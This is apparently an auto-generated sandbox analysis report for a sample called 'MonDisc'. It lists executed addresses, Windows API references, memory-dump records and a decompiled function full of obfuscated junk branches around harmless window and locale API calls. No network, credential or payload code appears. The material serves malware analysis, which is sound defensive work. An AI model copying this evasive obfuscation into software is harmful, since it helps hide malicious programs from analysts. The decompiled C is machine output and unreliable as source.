0x7ff6ed0f54c4
0x7ff6ed0f54ca
0x7ff6ed0f54cd
0x7ff6ed0f54d1
0x7ff6ed0f54d7
0x7ff6ed0f54dd
0x7ff6ed0f54e3
0x7ff6ed0f54eb
0x7ff6ed0f54f4
0x7ff6ed0f54f7
0x7ff6ed0f54f9
0x7ff6ed0f5501
0x7ff6ed0f550c
0x7ff6ed0f5512
0x7ff6ed0f5520
0x7ff6ed0f5526
0x7ff6ed0f552e
0x7ff6ed0f553a
0x7ff6ed0f553c
0x7ff6ed0f553f
0x7ff6ed0f5543
0x7ff6ed0f5549
0x7ff6ed0f5551
0x7ff6ed0f555a
0x7ff6ed0f555d
0x7ff6ed0f555f
0x7ff6ed0f5567
0x7ff6ed0f5578
0x7ff6ed0f557a
0x7ff6ed0f5582
0x7ff6ed0f558b
0x7ff6ed0f558e
0x7ff6ed0f5590
0x7ff6ed0f5598
0x7ff6ed0f55a1
0x7ff6ed0f55a9
0x7ff6ed0f55af
0x7ff6ed0f55b7
0x7ff6ed0f55c3
0x7ff6ed0f55c7
0x7ff6ed0f55cd
0x7ff6ed0f55d7
0x7ff6ed0f55dd
0x7ff6ed0f55e0
0x7ff6ed0f55e2
0x7ff6ed0f55ea
0x7ff6ed0f55fd
0x7ff6ed0f5605
0x7ff6ed0f5611
0x7ff6ed0f5617
0x7ff6ed0f561a
0x7ff6ed0f561c
0x7ff6ed0f5624
0x7ff6ed0f562d
0x7ff6ed0f5630
0x7ff6ed0f5635
0x7ff6ed0f563b
0x7ff6ed0f5641
0x7ff6ed0f5649
0x7ff6ed0f5652
0x7ff6ed0f5656
0x7ff6ed0f565a
0x7ff6ed0f5662
0x7ff6ed0f5664
0x7ff6ed0f5667
0x7ff6ed0f5669
0x7ff6ed0f5671
0x7ff6ed0f567a
0x7ff6ed0f567d
0x7ff6ed0f5681
0x7ff6ed0f568f
0x7ff6ed0f5694
0x7ff6ed0f5699
0x7ff6ed0f569e
0x7ff6ed0f56a3
0x7ff6ed0f56a8
0x7ff6ed0f56ad
0x7ff6ed0f56b1
0x7ff6ed0f56b3
0x7ff6ed0f56b5
0x7ff6ed0f56b6
0x7ff6ed0f56bb
0x7ff6ed0f56bc
0x7ff6ed0f56bf
0x7ff6ed0f56c3
0x7ff6ed0f56c7
0x7ff6ed0f56cb
0x7ff6ed0f56e1
0x7ff6ed0f56e5
0x7ff6ed0f56ee
0x7ff6ed0f56fc
0x7ff6ed0f5701
0x7ff6ed0f570f
0x7ff6ed0f5717
0x7ff6ed0f571a
0x7ff6ed0f571f
0x7ff6ed0f5723
0x7ff6ed0f5729
0x7ff6ed0f5736
0x7ff6ed0f573c
0x7ff6ed0f5744
0x7ff6ed0f574f
0x7ff6ed0f5751
0x7ff6ed0f5757
0x7ff6ed0f5761
0x7ff6ed0f576d
0x7ff6ed0f5773
0x7ff6ed0f5776
0x7ff6ed0f577a
0x7ff6ed0f5780
0x7ff6ed0f5788
0x7ff6ed0f5790
0x7ff6ed0f5793
0x7ff6ed0f5795
0x7ff6ed0f579c
0x7ff6ed0f57a4
0x7ff6ed0f57af
0x7ff6ed0f57b5
0x7ff6ed0f57bb
0x7ff6ed0f57bd
0x7ff6ed0f57c3
0x7ff6ed0f57ca
0x7ff6ed0f57d2
0x7ff6ed0f57dd
0x7ff6ed0f57e7
0x7ff6ed0f57ed
0x7ff6ed0f57f0
0x7ff6ed0f57f2
0x7ff6ed0f57fa
0x7ff6ed0f5805
0x7ff6ed0f580b
0x7ff6ed0f5819
0x7ff6ed0f581f
0x7ff6ed0f5827
0x7ff6ed0f5832
0x7ff6ed0f5834
0x7ff6ed0f5837
0x7ff6ed0f5839
0x7ff6ed0f583f
0x7ff6ed0f5845
0x7ff6ed0f584b
0x7ff6ed0f5851
0x7ff6ed0f5856
0x7ff6ed0f585b
0x7ff6ed0f5863
0x7ff6ed0f5866
0x7ff6ed0f5868
0x7ff6ed0f586f
0x7ff6ed0f587a
0x7ff6ed0f5880
0x7ff6ed0f5886
0x7ff6ed0f588d
0x7ff6ed0f5895
0x7ff6ed0f589b
0x7ff6ed0f589f
0x7ff6ed0f58a2
0x7ff6ed0f58a4
0x7ff6ed0f58ab
0x7ff6ed0f58bb
0x7ff6ed0f58c0
0x7ff6ed0f58c7
0x7ff6ed0f58cf
0x7ff6ed0f58d2
0x7ff6ed0f58d8
0x7ff6ed0f58df
0x7ff6ed0f58e7
0x7ff6ed0f58ea
0x7ff6ed0f58ee
0x7ff6ed0f58f4
0x7ff6ed0f58fb
0x7ff6ed0f5905
0x7ff6ed0f590b
0x7ff6ed0f5911
0x7ff6ed0f5916
0x7ff6ed0f591d
0x7ff6ed0f5925
0x7ff6ed0f592d
0x7ff6ed0f5931
0x7ff6ed0f5935
0x7ff6ed0f5939
0x7ff6ed0f593b
0x7ff6ed0f5942
0x7ff6ed0f594d
0x7ff6ed0f5951
0x7ff6ed0f5956
0x7ff6ed0f5958
0x7ff6ed0f5964
0x7ff6ed0f596a
0x7ff6ed0f5974
0x7ff6ed0f597c
0x7ff6ed0f597f
0x7ff6ed0f5981
0x7ff6ed0f598b
0x7ff6ed0f598d
0x7ff6ed0f5993
0x7ff6ed0f599a
0x7ff6ed0f59a4
0x7ff6ed0f59aa
0x7ff6ed0f59b0
0x7ff6ed0f59b7
0x7ff6ed0f59bf
0x7ff6ed0f59c5
0x7ff6ed0f59c9
0x7ff6ed0f59d0
0x7ff6ed0f59d6
0x7ff6ed0f59dd
0x7ff6ed0f59ed
0x7ff6ed0f59f3
0x7ff6ed0f59fb
0x7ff6ed0f5a09
0x7ff6ed0f5a13
0x7ff6ed0f5a15
0x7ff6ed0f5a23
0x7ff6ed0f5a29
0x7ff6ed0f5a2c
0x7ff6ed0f5a30
0x7ff6ed0f5a36
0x7ff6ed0f5a3d
0x7ff6ed0f5a46
0x7ff6ed0f5a49
0x7ff6ed0f5a4b
0x7ff6ed0f5a52
0x7ff6ed0f5a5d
0x7ff6ed0f5a63
0x7ff6ed0f5a69
0x7ff6ed0f5a6b
0x7ff6ed0f5a71
0x7ff6ed0f5a7b
0x7ff6ed0f5a82
0x7ff6ed0f5a8b
0x7ff6ed0f5a93
0x7ff6ed0f5a97
0x7ff6ed0f5a9b
0x7ff6ed0f5a9f
0x7ff6ed0f5aa9
0x7ff6ed0f5aaf
0x7ff6ed0f5ab2
0x7ff6ed0f5ab4
0x7ff6ed0f5abb
0x7ff6ed0f5ac4
0x7ff6ed0f5aca
0x7ff6ed0f5ace
0x7ff6ed0f5ad5
0x7ff6ed0f5adb
0x7ff6ed0f5ae2
0x7ff6ed0f5aeb
0x7ff6ed0f5af3
0x7ff6ed0f5af7
0x7ff6ed0f5afb
0x7ff6ed0f5aff
0x7ff6ed0f5b01
0x7ff6ed0f5b08
0x7ff6ed0f5b11
0x7ff6ed0f5b17
0x7ff6ed0f5b1b
0x7ff6ed0f5b22
0x7ff6ed0f5b28
0x7ff6ed0f5b2e
0x7ff6ed0f5b34
0x7ff6ed0f5b3b
0x7ff6ed0f5b44
0x7ff6ed0f5b47
0x7ff6ed0f5b49
0x7ff6ed0f5b50
0x7ff6ed0f5b61
0x7ff6ed0f5b69
0x7ff6ed0f5b6f
0x7ff6ed0f5b75
0x7ff6ed0f5b7b
0x7ff6ed0f5b85
0x7ff6ed0f5b91
0x7ff6ed0f5b97
0x7ff6ed0f5b9a
0x7ff6ed0f5b9c
0x7ff6ed0f5ba2
0x7ff6ed0f5ba8
0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

APIs

GetMessageTime.USER32 ref: 00007FF6ED0F5214
GetUserDefaultLangID.KERNEL32 ref: 00007FF6ED0F52C8
GetSystemDefaultLangID.KERNEL32 ref: 00007FF6ED0F52D6
GetParent.USER32 ref: 00007FF6ED0F52EF
GetDoubleClickTime.USER32 ref: 00007FF6ED0F52F5
GetDoubleClickTime.USER32 ref: 00007FF6ED0F52FB

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: Time$ClickDefaultDoubleLang$MessageParentSystemUser
String ID:
API String ID: 2994643361-0
Opcode ID: 64eabef1d45d85b0c78bb19536166fa48b41f505652a30b45eab00c61a6f173f
Instruction ID: 59d364ca960eacd9e37420e95a6a0ece28a949a2c19609c1815063a3aa059c48
Opcode Fuzzy Hash: 64eabef1d45d85b0c78bb19536166fa48b41f505652a30b45eab00c61a6f173f
Instruction Fuzzy Hash: 1A825667E2C9074AF6459F349D5A3B926956F20211F380A3AD50AD3297FF3EF149810F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F516F Relevance: 73.0, APIs: 48, Instructions: 987
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 52%

			E00007FF67FF6ED0F516F(signed int __esi, signed int __ebp, intOrPtr* __rax, long long __rcx, struct HWND__* __r12, struct HWND__* __r13, signed long long _a80, long long _a88, long long _a96, long long _a104) {
				signed int _t84;
				signed int _t89;
				signed int _t103;
				signed int _t108;
				signed int _t119;
				signed int _t132;
				signed int _t138;
				signed int _t143;
				signed int _t152;
				signed int _t157;
				signed int _t162;
				signed int _t175;
				signed int _t180;
				signed int _t186;
				signed int _t196;
				signed int _t201;
				signed int _t207;
				signed int _t213;
				signed int _t218;
				signed int _t223;
				signed int _t228;
				signed int _t233;
				signed int _t240;
				signed int _t247;
				signed int _t258;
				signed int _t272;
				signed int _t282;
				signed int _t287;
				signed int _t293;
				signed int _t299;
				signed int _t305;
				signed int _t312;
				signed int _t317;
				signed int _t322;
				signed int _t327;
				signed int _t332;
				signed int _t337;
				signed int _t343;
				signed int _t353;
				signed int _t360;
				signed int _t367;
				signed int _t379;
				signed int _t389;
				signed int _t394;
				signed int _t426;
				signed int _t431;
				signed int _t449;
				signed int _t455;
				signed int _t461;
				signed int _t466;
				signed int _t471;
				signed int _t490;
				signed int _t506;
				signed int _t520;
				signed int _t530;
				signed int _t536;
				signed int _t563;
				signed int _t568;
				signed int _t573;
				signed int _t590;
				signed int _t605;
				signed char _t644;
				signed int _t651;
				signed char _t688;
				signed int _t774;
				signed int _t783;
				void* _t790;
				void* _t791;
				void* _t792;
				void* _t794;
				void* _t797;
				void* _t800;
				void* _t802;
				void* _t804;
				void* _t805;
				void* _t810;
				void* _t811;
				void* _t813;
				void* _t814;
				void* _t815;
				void* _t817;
				void* _t818;
				void* _t820;
				void* _t821;
				void* _t823;
				void* _t825;
				void* _t826;
				void* _t827;
				void* _t828;
				void* _t831;
				void* _t832;
				void* _t833;
				void* _t835;
				void* _t836;
				void* _t838;
				void* _t839;
				void* _t840;
				void* _t841;
				void* _t843;
				void* _t844;
				void* _t845;
				void* _t848;
				void* _t849;
				void* _t852;
				void* _t853;
				void* _t854;
				void* _t855;
				void* _t856;
				void* _t858;
				void* _t859;
				void* _t862;
				void* _t863;
				void* _t865;
				void* _t868;
				void* _t871;
				void* _t874;
				void* _t876;
				void* _t877;
				void* _t878;
				void* _t879;
				void* _t880;
				void* _t881;
				void* _t882;
				void* _t883;
				void* _t886;
				void* _t888;
				intOrPtr* _t891;
				void* _t892;
				void* _t893;
				signed long long _t895;
				intOrPtr _t903;
				struct HWND__* _t905;
				void* _t907;
				long long _t908;
				long long _t910;
				void* _t914;
				void* _t915;
				void* _t922;
				void* _t925;
				struct HWND__* _t926;
				void* _t927;
				WCHAR* _t928;
				void* _t929;

				_t891 = __rax;
				_t84 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t84 >= 0) goto 0xed0f5182;
				if ((_t84 - __ebp | r14d) + __ebp == 0x10) goto 0xed0f51a8;
				_t89 = E00007FF67FF6ED184484(__rax) & r15d;
				if (_t89 >= 0) goto 0xed0f5198;
				 *0xed236f60 = __esi & 0xffffff00 | (_t89 - __ebp | r14d) + __ebp != 0x00000010;
				goto 0xed0f51c7;
				 *0xed236f60 = 0x37;
				if (0x37 + bpl - 0x46 < 0) goto 0xed0f51aa;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = __esi;
				 *0xed236f60 = 0x41;
				_t790 = 0x41 + bpl - 0x4e;
				if (_t790 < 0) goto 0xed0f5171;
				dil = dil + bpl;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(__rax);
				if (_t790 >= 0) goto 0xed0f51f6;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t790 != 0) goto 0xed0f520a;
				if (_t790 == 0) goto 0xed0f5165;
				 *0xed236f60 = 0x2f;
				GetMessageTime();
				 *0xed236f60 = 0x12;
				_t791 = 0x12 + bpl - 0x22;
				if (_t791 < 0) goto 0xed0f521c;
				 *0xed236f60 = __ebp;
				_t103 = E00007FF67FF6ED184484(__rax);
				if (_t791 >= 0) goto 0xed0f5244;
				_t792 = ((_t103 & r15d) - __ebp | r14d) + __ebp - 0x44;
				if (_t792 >= 0) goto 0xed0f5268;
				_t108 = E00007FF67FF6ED184484(__rax);
				if (_t792 >= 0) goto 0xed0f525a;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t108 & r15d) - __ebp | r14d) + __ebp - 0x00000044 < 0x00000000;
				 *0xed236f60 = 0x19;
				_t794 = 0x19 + bpl - 0x24;
				if (_t794 < 0) goto 0xed0f526a;
				 *0xed236f60 = 0x41;
				E00007FF67FF6ED184484(__rax);
				if (_t794 >= 0) goto 0xed0f5298;
				_t119 = E00007FF67FF6ED184484(__rax);
				if (_t794 >= 0) goto 0xed0f52a9;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t119 & r15d) - __ebp | r14d) + __ebp - 0x0000005a > 0x00000000;
				 *0xed236f60 = 0x69;
				if (0x69 + bpl - 0x6c < 0) goto 0xed0f5287; // executed
				GetUserDefaultLangID(); // executed
				 *0xed1ee398();
				GetSystemDefaultLangID();
				 *0xed236f60 = 0x1f;
				_t797 = 0x1f + bpl - 0x32;
				if (_t797 < 0) goto 0xed0f52d6;
				GetParent(??);
				GetDoubleClickTime();
				GetDoubleClickTime();
				_t132 = E00007FF67FF6ED184484(__rax);
				if (_t797 >= 0) goto 0xed0f5312;
				if (((_t132 & r15d) - __ebp | r14d) + __ebp - 0x45 >= 0) goto 0xed0f5361;
				goto 0xed0f532c;
				if (0x5f - 0x73 >= 0) goto 0xed0f5342;
				 *0xed236f60 = 0x0000005f + bpl & 0x000000ff;
				_t138 = E00007FF67FF6ED184484(__rax);
				if (0x5f - 0x73 >= 0) goto 0xed0f533d;
				_t800 = ((_t138 & r15d) - __ebp | r14d) + __ebp - 0x22;
				if (_t800 != 0) goto 0xed0f531b;
				_t143 = E00007FF67FF6ED184484(__rax);
				if (_t800 >= 0) goto 0xed0f5353;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t143 & r15d) - __ebp | r14d) + __ebp - 0x00000045 < 0x00000000;
				_t688 = sil;
				 *0xed236f60 = _t688 & 0x000000ff;
				_t802 = _t688 + bpl - 0xf;
				if (_t802 < 0) goto 0xed0f5364;
				GetWindowTextLengthW(??);
				GetMessageExtraInfo();
				 *0xed236f60 = 5;
				_t152 = E00007FF67FF6ED184484(__rax);
				if (_t802 >= 0) goto 0xed0f53a2;
				if (((_t152 & r15d) - __ebp | r14d) + __ebp - 0x3f < 0) goto 0xed0f53ac;
				_t804 = 5 + bpl - 0xe;
				if (_t804 < 0) goto 0xed0f5385;
				dil = 0x49;
				_t157 = E00007FF67FF6ED184484(__rax);
				if (_t804 >= 0) goto 0xed0f53c2;
				_t805 = ((_t157 & r15d) - __ebp | r14d) + __ebp - 0x1b;
				if (_t805 <= 0) goto 0xed0f53f0;
				 *0xed236f60 = 0x66;
				_t162 = E00007FF67FF6ED184484(__rax);
				if (_t805 >= 0) goto 0xed0f53e2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t162 & r15d) - __ebp | r14d) + __ebp - 0x0000001b > 0x00000000;
				 *0xed236f60 = 0x3f;
				if (0x3f + bpl - 0x46 < 0) goto 0xed0f53b1;
				dil = dil + bpl;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x51 < 0) goto 0xed0f53af;
				IsIconic(??);
				IsIconic(??);
				GetDoubleClickTime();
				 *0xed236f60 = 0x1e;
				GetLastActivePopup(??);
				GetMessageTime();
				goto 0xed0f545d;
				if (0x40 - 0x4a >= 0) goto 0xed0f5473;
				 *0xed236f60 = 0x00000040 + bpl & 0x000000ff;
				_t175 = E00007FF67FF6ED184484(__rax);
				if (0x40 - 0x4a >= 0) goto 0xed0f546e;
				_t810 = ((_t175 & r15d) - __ebp | r14d) + __ebp - 0x3b;
				if (_t810 == 0) goto 0xed0f544c;
				_t180 = E00007FF67FF6ED184484(__rax);
				if (_t810 >= 0) goto 0xed0f5484;
				_t811 = ((_t180 & r15d) - __ebp | r14d) + __ebp - 0x26;
				if (_t811 < 0) goto 0xed0f54b0;
				GetModuleHandleW(??);
				_t186 = E00007FF67FF6ED184484(__rax);
				if (_t811 >= 0) goto 0xed0f54a2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t186 & r15d) - __ebp | r14d) + __ebp - 0x00000026 >= 0x00000000;
				GetCurrentProcessId();
				 *0xed1ee398();
				 *0xed236f60 = 0x20;
				_t813 = 0x20 + bpl - 0x2b;
				if (_t813 < 0) goto 0xed0f54b8;
				GetTopWindow(??);
				 *0xed236f60 = __ebp;
				GetMessageExtraInfo();
				_t196 = E00007FF67FF6ED184484(__rax);
				if (_t813 >= 0) goto 0xed0f54f4;
				_t814 = ((_t196 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				if (_t814 == 0) goto 0xed0f5518;
				_t201 = E00007FF67FF6ED184484(__rax);
				if (_t814 >= 0) goto 0xed0f550a;
				_t815 = ((_t201 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				 *0xed236f60 = __esi & 0xffffff00 | _t815 != 0x00000000;
				 *0xed236f60 = 0x61;
				_t207 = E00007FF67FF6ED184484(__rax);
				if (_t815 >= 0) goto 0xed0f5537;
				if (((_t207 & r15d) - __ebp | r14d) + __ebp - 0x69 > 0) goto 0xed0f5541;
				_t817 = 0x61 + bpl - 0x73;
				if (_t817 < 0) goto 0xed0f551a;
				GetParent(??);
				_t213 = E00007FF67FF6ED184484(__rax);
				if (_t817 >= 0) goto 0xed0f555a;
				_t818 = ((_t213 & r15d) - __ebp | r14d) + __ebp - 0x20;
				if (_t818 >= 0) goto 0xed0f557a;
				_t218 = E00007FF67FF6ED184484(__rax);
				if (_t818 >= 0) goto 0xed0f5570;
				goto 0xed0f55a9;
				_t223 = E00007FF67FF6ED184484(__rax);
				if (((_t218 & r15d) - __ebp | r14d) + __ebp - 0x20 >= 0) goto 0xed0f558b;
				_t820 = ((_t223 & r15d) - __ebp | r14d) + __ebp - 0x48;
				if (_t820 > 0) goto 0xed0f55af;
				_t228 = E00007FF67FF6ED184484(__rax);
				if (_t820 >= 0) goto 0xed0f55a1;
				_t821 = ((_t228 & r15d) - __ebp | r14d) + __ebp - 0x48;
				 *0xed236f60 = __esi & 0xffffff00 | _t821 <= 0x00000000;
				_t233 = E00007FF67FF6ED184484(__rax);
				if (_t821 >= 0) goto 0xed0f55c0;
				if (((_t233 & r15d) - __ebp | r14d) + __ebp - 0x15 <= 0) goto 0xed0f55cf;
				GetTopWindow(??);
				goto 0xed0f55e2;
				 *0xed236f60 = 0x60;
				_t823 = 0x60 + bpl - 0x6b;
				if (_t823 < 0) goto 0xed0f55d1;
				_t240 = E00007FF67FF6ED184484(__rax);
				if (_t823 >= 0) goto 0xed0f55f3;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t240 & r15d) - __ebp | r14d) + __ebp - 0x00000015 > 0x00000000;
				GetTopWindow(??);
				 *0xed236f60 = 2;
				_t825 = 2 + bpl - 0x12;
				if (_t825 < 0) goto 0xed0f5603;
				_t247 = E00007FF67FF6ED184484(__rax);
				if (_t825 >= 0) goto 0xed0f562d;
				_t826 = ((_t247 & r15d) - __ebp | r14d) + __ebp - 4;
				if (_t826 != 0) goto 0xed0f5687;
				_t644 = bpl + bpl;
				 *0xed236f60 = _t644 & 0x000000ff;
				E00007FF67FF6ED184484(__rax);
				if (_t826 >= 0) goto 0xed0f5652;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1143de]");
				if (_t826 <= 0) goto 0xed0f5669;
				_t827 = _t644 - 4;
				if (_t827 < 0) goto 0xed0f5635;
				_t258 = E00007FF67FF6ED184484(__rax);
				if (_t827 >= 0) goto 0xed0f567a;
				_t828 = ((_t258 & r15d) - __ebp | r14d) + __ebp - 4;
				sil = _t828 == 0;
				 *0xed236f60 = __esi;
				E00007FF67FF6ED1844F4(E00007FF67FF6ED1844FC(((_t258 & r15d) - __ebp | r14d) + __ebp));
				_t903 =  *_t891;
				_t895 = _a80;
				_t910 = _a88;
				_t908 = _a96;
				asm("movaps xmm6, [esp+0x20]");
				_t915 = _t914 + 0x30;
				_pop(_t928);
				_pop(_t926);
				_pop(_t905);
				goto 0xed0f7568;
				asm("int3");
				_t892 = _t915;
				 *(_t892 + 0x10) = _t895;
				 *((long long*)(_t892 + 0x18)) = _t910;
				 *((long long*)(_t892 + 0x20)) = _t908;
				 *((long long*)(_t892 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t892);
				r14d = 0x8000007f;
				if (_t828 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(_t928);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t272 = E00007FF67FF6ED184484(_t892);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
